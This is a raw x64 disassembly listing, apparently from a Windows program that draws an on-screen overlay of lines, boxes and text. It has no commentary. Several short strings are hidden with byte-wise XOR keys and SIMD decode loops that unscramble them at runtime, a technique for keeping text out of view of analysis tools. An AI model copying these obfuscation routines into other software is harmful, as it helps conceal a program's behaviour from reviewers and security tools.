lea rdx, [rbp + 0x1c8]
mov rcx, rbx
call fcn.140045920
mov rcx, qword [0x140197020]
call fcn.140029cc0
mov eax, dword [str.ftrvj9]
mov dword [rbp + 0x126], eax
movzx eax, word [0x140167b1c]
mov word [rbp + 0x12a], ax
mov byte [rbp + 0x126], 0x52
xor byte [rbp + 0x127], 0x35
xor byte [rbp + 0x128], 0x36
xor byte [rbp + 0x129], 0x37
xor byte [rbp + 0x12a], 0x38
xor byte [rbp + 0x12b], 0x39
lea rcx, [rbp + 0x126]
call fcn.14004ff70
call fcn.140029df0
mov rax, qword [0x140196dd0]
mov rcx, qword [rax + 0x4040]
movss xmm1, dword [rcx + 0x2c]
movss xmm0, dword [0x1401811dc]
mulss xmm0, dword [0x14016bf48]
addss xmm0, dword [rcx + 0x28]
movss dword [0x140196e68], xmm0
movss dword [0x140196e6c], xmm1
call fcn.140028eb0
movss xmm8, dword [0x14016be24]
movss xmm7, dword [0x1401811dc]
mulss xmm7, dword [0x14016be84]
movaps xmm1, xmm7
addss xmm1, dword [0x140196e6c]
movss xmm0, dword [0x140196e68]
subss xmm0, xmm7
movss dword [rbp + 0x1e0], xmm0
movss dword [rbp + 0x1e4], xmm1
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, dword [0x14016bcf8]
movaps xmm0, xmmword [0x14016c5b0]
movups xmmword [rbp + 0xba8], xmm0
lea rcx, [rbp + 0xba8]
call fcn.14001b990
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
movaps xmm2, xmm7
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140044140
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, xmm13
movaps xmm0, xmmword [0x14016c380]
movups xmmword [rbp + 0xbb8], xmm0
lea rcx, [rbp + 0xbb8]
call fcn.14001b990
movaps xmm2, xmm7
addss xmm2, xmm7
divss xmm2, dword [0x14016bcf8]
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140044140
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
movaps xmm0, xmmword [0x14016c310]
movups xmmword [rbp + 0xbc8], xmm0
lea rcx, [rbp + 0xbc8]
call fcn.14001b990
movaps xmm2, xmm7
divss xmm2, dword [0x14016bd14]
movss dword [rsp + 0x28], xmm6
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140044140
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, xmm13
movaps xmm0, xmmword [0x14016c3b0]
movups xmmword [rbp + 0xbd8], xmm0
lea rcx, [rbp + 0xbd8]
call fcn.14001b990
movss xmm0, dword [rbp + 0x1e0]
subss xmm0, xmm7
movss dword [rbp + 0x1e8], xmm0
movss xmm0, dword [rbp + 0x1e4]
movss dword [rbp + 0x1ec], xmm0
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x1e8]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140043b70
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, xmm13
movaps xmm0, xmmword [0x14016c3b0]
movups xmmword [rbp + 0xbe8], xmm0
lea rcx, [rbp + 0xbe8]
call fcn.14001b990
movss xmm0, dword [rbp + 0x1e0]
addss xmm0, xmm7
movss dword [rbp + 0x1f0], xmm0
movss xmm0, dword [rbp + 0x1e4]
movss dword [rbp + 0x1f4], xmm0
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x1f0]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140043b70
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, xmm13
movaps xmm0, xmmword [0x14016c3b0]
movups xmmword [rbp + 0xbf8], xmm0
lea rcx, [rbp + 0xbf8]
call fcn.14001b990
movss xmm1, dword [rbp + 0x1e4]
subss xmm1, xmm7
movss xmm0, dword [rbp + 0x1e0]
movss dword [rbp + 0x1f8], xmm0
movss dword [rbp + 0x1fc], xmm1
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x1f8]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140043b70
call fcn.14001f460
mov rbx, rax
movss xmm6, dword [0x1401811dc]
mulss xmm6, xmm13
movaps xmm0, xmmword [0x14016c3b0]
movups xmmword [rbp + 0xc08], xmm0
lea rcx, [rbp + 0xc08]
call fcn.14001b990
movss xmm1, dword [rbp + 0x1e4]
addss xmm1, xmm7
movss xmm0, dword [rbp + 0x1e0]
movss dword [rbp + 0x200], xmm0
movss dword [rbp + 0x204], xmm1
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x200]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140043b70
call fcn.14001f460
mov rbx, rax
movaps xmm0, xmmword [0x14016c350]
movups xmmword [rbp + 0xc18], xmm0
lea rcx, [rbp + 0xc18]
call fcn.14001b990
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
movaps xmm2, xmm7
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140044220
call fcn.14001f460
mov rbx, rax
movaps xmm0, xmmword [0x14016c420]
movups xmmword [rbp + 0xc28], xmm0
lea rcx, [rbp + 0xc28]
call fcn.14001b990
movss xmm2, dword [0x1401811dc]
mulss xmm2, dword [0x14016bd0c]
mov dword [rsp + 0x20], 0x3e8
mov r9d, eax
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.140044220
cmp byte [0x140196fcc], 0
je 0x1400c07ed
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400c07ed
movss xmm0, dword [0x14018115c]
movaps xmm1, xmm0
mulss xmm1, dword [0x14016bd14]
mulss xmm0, dword [0x14016bfb4]
movss dword [rbp + 0x208], xmm0
movss dword [rbp + 0x20c], xmm1
xor edx, edx
lea rcx, [rbp + 0x208]
call fcn.14002a3c0
movsd xmm0, qword [str.dywnksuzr_]
movsd qword [rbp + 0x7c7], xmm0
movzx eax, word [0x14016ba08]
mov word [rbp + 0x7cf], ax
movzx eax, byte [0x14016ba0a]
mov byte [rbp + 0x7c7], 0x50
xor byte [rbp + 0x7c8], 0x35
xor byte [rbp + 0x7c9], 0x36
xor byte [rbp + 0x7ca], 0x37
xor byte [rbp + 0x7cb], 0x38
xor byte [rbp + 0x7cc], 0x39
xor byte [rbp + 0x7cd], 0x3a
xor byte [rbp + 0x7ce], 0x3b
xor byte [rbp + 0x7cf], 0x3c
xor byte [rbp + 0x7d0], 0x3d
xor al, 0x3e
mov byte [rbp + 0x7d1], al
xor edx, edx
lea r8d, [rdx + 0x3b]
lea rcx, [rbp + 0x7c7]
call fcn.1400265a0
lea rcx, [rbp + 0x210]
call fcn.14002a0a0
lea rcx, [rbp + 0x218]
call fcn.14002a250
call fcn.14001f460
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x220]
call fcn.140018e80
mov rdi, rax
movss xmm6, dword [0x14018115c]
mulss xmm6, xmm15
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xc38]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x21c]
addss xmm2, dword [rbp + 0x214]
movss xmm1, dword [rbp + 0x218]
addss xmm1, dword [rbp + 0x210]
lea rcx, [rbp + 0x228]
call fcn.140018e80
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm6
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x210]
mov rcx, rsi
call fcn.140045920
lea rdx, [rbp + 0x994]
lea rcx, [rbp + 0x19e0]
call fcn.1400cdc60
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x1400c04c0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c0481
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c0490
mov rcx, r10
call fcn.14004ff70
lea rcx, [rbp + 0x230]
call fcn.14002a0a0
movss xmm6, dword [0x14018115c]
mulss xmm6, dword [0x14016be80]
addss xmm6, dword [rax + 4]
lea rcx, [rbp + 0x238]
call fcn.14002a0a0
movss xmm1, dword [0x14018115c]
mulss xmm1, dword [0x14016be4c]
addss xmm1, dword [rax]
movaps xmm2, xmm6
lea rcx, [rbp + 0x240]
call fcn.140018e80
movss xmm0, dword [rax]
movss dword [0x140196f68], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x140196f6c], xmm1
call fcn.140028eb0
movss xmm0, dword [0x14018115c]
movaps xmm2, xmm0
mulss xmm2, xmm8
movss xmm7, dword [0x14016bd70]
mulss xmm0, xmm7
movss xmm6, dword [0x140196f6c]
subss xmm6, xmm2
subss xmm6, xmm0
movss xmm1, dword [0x140196f68]
subss xmm1, xmm0
subss xmm1, xmm2
movaps xmm2, xmm6
lea rcx, [rbp + 0x248]
call fcn.140018e80
movss xmm3, dword [0x14018115c]
movaps xmm2, xmm3
mulss xmm2, dword [0x14016be0c]
addss xmm2, xmm6
movaps xmm1, xmm3
mulss xmm1, xmm7
addss xmm1, dword [0x140196f68]
movaps xmm0, xmm3
mulss xmm0, dword [0x14016bf94]
addss xmm1, xmm0
mulss xmm3, xmm8
subss xmm1, xmm3
lea rcx, [rbp + 0x250]
call fcn.140018e80
movss xmm2, dword [0x14018115c]
movaps xmm0, xmm2
mulss xmm0, xmm7
movss xmm6, dword [0x140196f6c]
subss xmm6, xmm0
movss xmm1, dword [0x140196f68]
subss xmm1, xmm0
mulss xmm2, dword [0x14016bd7c]
subss xmm1, xmm2
movaps xmm2, xmm6
lea rcx, [rbp + 0x258]
call fcn.140018e80
movss xmm3, dword [0x14018115c]
movaps xmm2, xmm3
mulss xmm2, dword [0x14016be0c]
addss xmm2, xmm6
movaps xmm1, xmm3
mulss xmm1, xmm7
addss xmm1, dword [0x140196f68]
movaps xmm0, xmm3
mulss xmm0, dword [0x14016bf6c]
addss xmm1, xmm0
mulss xmm3, dword [0x14016bd7c]
subss xmm1, xmm3
lea rcx, [rbp + 0x260]
call fcn.140018e80
mov edi, 1
nop
lea eax, [rdi - 1]
movd xmm7, eax
cvtdq2ps xmm7, xmm7
mulss xmm7, xmm8
movaps xmm1, xmm7
mulss xmm1, dword [0x14018115c]
addss xmm1, dword [rbp + 0x248]
movss xmm2, dword [rbp + 0x24c]
lea rcx, [rbp + 0x268]
call fcn.140018e80
movd xmm6, edi
cvtdq2ps xmm6, xmm6
mulss xmm6, xmm8
movaps xmm1, xmm6
movss xmm0, dword [0x14018115c]
mulss xmm1, xmm0
addss xmm1, dword [rbp + 0x248]
mulss xmm0, xmm13
subss xmm1, xmm0
movss xmm2, dword [rbp + 0x254]
lea rcx, [rbp + 0x270]
call fcn.140018e80
call fcn.14001f460
mov rbx, rax
mov dword [rsp + 0x20], 0x78
mov edx, 0x78
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xc48]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x268]
mov rcx, rbx
call fcn.140043d30
cmp edi, 7
je 0x1400c07e2
mulss xmm7, dword [0x14018115c]
addss xmm7, dword [rbp + 0x258]
movss xmm2, dword [rbp + 0x25c]
movaps xmm1, xmm7
lea rcx, [rbp + 0x278]
call fcn.140018e80
movss xmm0, dword [0x14018115c]
mulss xmm6, xmm0
addss xmm6, dword [rbp + 0x258]
mulss xmm0, xmm13
subss xmm6, xmm0
movss xmm2, dword [rbp + 0x264]
movaps xmm1, xmm6
lea rcx, [rbp + 0x280]
call fcn.140018e80
call fcn.14001f460
mov rbx, rax
mov dword [rsp + 0x20], 0x78
mov edx, 0x78
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xc58]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0x278]
mov rcx, rbx
call fcn.140043d30
inc edi
cmp edi, 7
jle 0x1400c0660
cmp byte [0x140196fe4], 0
je 0x1400c0c6a
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400c09ed
movss xmm2, dword [0x14016bd14]
movss xmm1, dword [0x14016be70]
lea rcx, [rbp + 0x288]
call fcn.140018e80
mov rcx, rax
xor edx, edx
call fcn.14002a3c0
lea rdx, [rbp + 0x7d2]
lea rcx, [rbp + 0x19e8]
call fcn.1400cdc80
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c0875
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
xor edx, edx
lea r8d, [rdx + 0x3b]
mov rcx, rax
call fcn.1400265a0
lea rcx, [rbp + 0x290]
call fcn.14002a0a0
lea rcx, [rbp + 0x298]
call fcn.14002a250
call fcn.14001f460
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x2a0]
call fcn.140018e80
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xc68]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x29c]
addss xmm2, dword [rbp + 0x294]
movss xmm1, dword [rbp + 0x298]
addss xmm1, dword [rbp + 0x290]
lea rcx, [rbp + 0x2a8]
call fcn.140018e80
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm15
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x290]
mov rcx, rsi
call fcn.140045920
mov rcx, qword [0x140197020]
call fcn.140029cc0
lea rdx, [rbp + 0xd4]
lea rcx, [rbp + 0x19f0]
call fcn.1400cdcb0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x1400c097c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rcx, rax
call fcn.14004ff70
call fcn.140029df0
lea rcx, [rbp + 0x2b0]
call fcn.14002a0a0
movss xmm6, dword [rax + 4]
addss xmm6, dword [0x14016be34]
lea rcx, [rbp + 0x2b8]
call fcn.14002a0a0
movss xmm1, dword [rax]
movss xmm7, dword [0x14016bd8c]
addss xmm1, xmm7
movaps xmm2, xmm6
lea rcx, [rbp + 0x2c0]
call fcn.140018e80
movss xmm0, dword [rax]
movss dword [0x140196f60], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x140196f64], xmm1
call fcn.140028eb0
jmp 0x1400c09f5
movss xmm7, dword [0x14016bd8c]
mov rcx, qword [0x140197020]
call fcn.140029cc0
lea rcx, [rbp + 0x19f8]
call fcn.140071bf0
mov rdi, rax
lea rdx, [rbp + 0x2c8]
lea rcx, [0x1401957a0]
call fcn.1400d37c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x2d0]
lea rcx, [0x1401957a0]
call fcn.1400d37e0
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x770]
call fcn.1400d48c0
mov r8, rax
lea rdx, [rbp + 0x78]
lea rcx, [0x140195d48]
call fcn.140076420
nop
cmp qword [rbp + 0x78], 0
je 0x1400c0c5b
mov rdx, qword [0x140196f38]
add rdx, 0x1c
mov rcx, qword [0x140196ee0]
call fcn.1400d4990
mov r15d, eax
lea rcx, [rbp + 0xc78]
call fcn.140018e90
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
cmp r15d, 0xa
jle 0x1400c0ab5
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xc88]
jmp 0x1400c0ac2
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0xc98]
call fcn.140018ed0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc78], xmm0
call fcn.14001f460
mov r14, rax
movaps xmm2, xmm11
movaps xmm1, xmm11
lea rcx, [rbp + 0x2d8]
call fcn.140018e80
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x2e0]
call fcn.140018e80
mov rdi, rax
movss xmm2, dword [0x140196f64]
subss xmm2, xmm7
addss xmm2, xmm9
movss xmm1, dword [0x140196f60]
addss xmm1, xmm9
lea rcx, [rbp + 0x2e8]
call fcn.140018e80
mov rbx, rax
movss xmm2, dword [0x140196f64]
subss xmm2, xmm7
subss xmm2, xmm9
movss xmm1, dword [0x140196f60]
subss xmm1, xmm9
lea rcx, [rbp + 0x2f0]
call fcn.140018e80
mov dword [rsp + 0x30], 0xffffffff
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
mov r9, rbx
mov r8, rax
mov rdx, qword [rbp + 0x78]
mov rcx, r14
call fcn.140044480
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 6]
call fcn.1400cdcd0
movzx ecx, byte [rax + 1]
test cl, cl
je 0x1400c0ba0
xor byte [rax], 0x34
xor cl, 0x35
mov byte [rax + 1], cl
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14006f110
mov rbx, rax
mov edx, r15d
lea rcx, [rbp + 0x138]
call fcn.140074b50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xe8]
call fcn.1400d47a0
nop
mov rcx, rax
call fcn.14006f0a0
movss xmm0, dword [0x140196f64]
subss xmm0, xmm9
cvttss2si r8d, xmm0
movss xmm1, dword [0x140196f60]
addss xmm1, xmm15
cvttss2si edx, xmm1
movups xmm0, xmmword [rbp + 0xc78]
movdqa xmmword [rbp], xmm0
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp]
movss xmm0, dword [0x14016bd60]
movd ecx, xmm0
call fcn.140076b60
nop
lea rcx, [rbp + 0xe8]
call fcn.14006f0b0
nop
lea rcx, [rbp + 0x138]
call fcn.14006f0b0
nop
lea rcx, [rbp + 0x30]
call fcn.14006f0b0
mov r14d, dword [rbp + 0xa8]
xor r15d, r15d
call fcn.140029df0
nop
lea rcx, [rbp + 0x78]
call fcn.1400767d0
cmp byte [0x140196fbd], 0
je 0x1400c10c4
movss xmm9, dword [0x14016be70]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400c0faa
movss xmm2, dword [0x14016bd14]
movaps xmm1, xmm9
lea rcx, [rbp + 0x2f8]
call fcn.140018e80
mov rcx, rax
xor edx, edx
call fcn.14002a3c0
lea rdx, [rbp + 0x7dd]
lea rcx, [rsp + 0x68]
call fcn.1400cdce0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c0cf5
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
xor edx, edx
lea r8d, [rdx + 0x3b]
mov rcx, rax
call fcn.1400265a0
lea rcx, [rbp + 0x300]
call fcn.14002a0a0
lea rcx, [rbp + 0x308]
call fcn.14002a250
call fcn.14001f460
mov rsi, rax
movaps xmm2, xmm10
movaps xmm1, xmm10
lea rcx, [rbp + 0x310]
call fcn.140018e80
mov rdi, rax
mov dword [rsp + 0x20], 0xff
mov edx, 0x43
lea r9d, [rdx + 0x1f]
mov r8d, 0xfc
lea rcx, [rbp + 0xca8]
call fcn.140018ed0
mov rcx, rax
call fcn.140018f20
mov ebx, eax
movss xmm2, dword [rbp + 0x30c]
addss xmm2, dword [rbp + 0x304]
movss xmm1, dword [rbp + 0x308]
addss xmm1, dword [rbp + 0x300]
lea rcx, [rbp + 0x318]
call fcn.140018e80
movss dword [rsp + 0x38], xmm10
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], rdi
movss dword [rsp + 0x20], xmm15
mov r9d, ebx
mov r8, rax
lea rdx, [rbp + 0x300]
mov rcx, rsi
call fcn.140045920
mov rcx, qword [0x140197020]
call fcn.140029cc0
lea rdx, [rbp + 0x320]
lea rcx, [rsp + 0x69]
call fcn.1400cdd10
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400c0f42
mov r8d, r15d
cmp r12d, 2
jl 0x1400c0f03
movdqa xmm4, xmmword [0x14016c610]
mov eax, 4
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
jmp 0x1400c0f42
mov r9, r10
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400c0f10
mov rcx, r10
call fcn.14004ff70
call fcn.140029df0
lea rcx, [rbp + 0x328]
call fcn.14002a0a0
movss xmm6, dword [rax + 4]
addss xmm6, xmm15
lea rcx, [rbp + 0x330]
call fcn.14002a0a0
movss xmm1, dword [rax]
subss xmm1, dword [0x14016be14]
movaps xmm2, xmm6
lea rcx, [rbp + 0x338]
call fcn.140018e80
movss xmm0, dword [rax]
movss dword [0x140196f58], xmm0
movss xmm1, dword [rax + 4]
movss dword [0x140196f5c], xmm1
call fcn.140028eb0
movss xmm8, dword [0x140196e7c]
movss xmm2, dword [0x140196f5c]
subss xmm2, xmm14
movss xmm1, dword [0x140196f58]
addss xmm1, xmm9
lea rcx, [rbp + 0x340]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [0x14016bd2c]
movss xmm1, dword [0x14016bf34]
lea rcx, [rbp + 0x348]
call fcn.140018e80
movss xmm4, dword [rax + 4]
movss xmm0, dword [0x14016bf3c]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x14016bf34]
movaps xmm2, xmm8
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm1, dword [rax]
unpcklps xmm1, xmm4
movq rcx, xmm1
call fcn.1400be410
movss xmm8, dword [0x140196efc]
movss xmm1, dword [0x140196f58]
addss xmm1, xmm9
movss xmm2, dword [0x140196f5c]
lea rcx, [rbp + 0x350]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [0x14016bd2c]
movss xmm9, dword [0x14016bf34]
movaps xmm1, xmm9
lea rcx, [rbp + 0x358]
call fcn.140018e80
movss xmm4, dword [rax + 4]
movss xmm0, dword [0x14016bf3c]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm1, dword [rax]
unpcklps xmm1, xmm4
movq rcx, xmm1
call fcn.1400be410
cmp byte [0x140196fd8], 0
je 0x1400c1587
movss xmm9, dword [0x140196ed8]
comiss xmm9, xmm10
jbe 0x1400c1232
movss xmm0, dword [0x140196e54]
comiss xmm0, xmm10
jbe 0x1400c1232
movaps xmm8, xmm9
subss xmm8, xmm0
movss xmm2, dword [0x140196f8c]
addss xmm2, dword [0x14016bd4c]
movss xmm1, dword [0x140196f88]
lea rcx, [rbp + 0x360]
call fcn.140018e80
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
movss xmm2, dword [0x14016bd20]
movss xmm1, dword [0x14016bf04]
lea rcx, [rbp + 0x368]
call fcn.140018e80
movss xmm4, dword [rax + 4]
movss xmm0, dword [0x14016bf3c]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm9
movaps xmm2, xmm8
movaps xmm0, xmm6
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm1, dword [rax]
unpcklps xmm1, xmm4
movq rcx, xmm1
call fcn.1400be410
movss xmm0, dword [0x140196e54]
divss xmm0, dword [0x14016bfd0]
cvttss2si edx, xmm0
lea rcx, [rbp + 0xe8]
call fcn.140074b50
nop
mov rcx, rax
call fcn.14006f0a0
mov rdi, rax
movss xmm0, dword [0x140196f8c]
addss xmm0, dword [0x14016bd3c]
cvttss2si esi, xmm0
movss xmm1, dword [0x140196f88]
cvtps2pd xmm1, xmm1
subsd xmm1, qword [0x14016bce8]
cvttsd2si ebx, xmm1
mov dword [rsp + 0x20], 0xff
mov edx, 0xff
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0xcb8]
call fcn.140018ed0
movups xmm0, xmmword [rax]
movaps xmmword [rbp], xmm0
mov qword [rsp + 0x30], rdi
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
lea r9, [rbp]
mov r8d, esi
mov edx, ebx
movss xmm0, dword [0x14016bd60]
movd ecx, xmm0
call fcn.140076b60
nop
lea rcx, [rbp + 0xe8]
call fcn.14006f0b0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x1400c1587
movss xmm2, dword [0x14016bd14]
movss xmm1, dword [0x14016be70]
lea rcx, [rbp + 0x370]
call fcn.140018e80
mov rcx, rax
xor edx, edx
call fcn.14002a3c0
lea rdx, [rbp + 0xcc8]
lea rcx, [rsp + 0x6a]
call fcn.1400cdd20
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x1400c1412
mov r8d, r15d
cmp r12d, 2
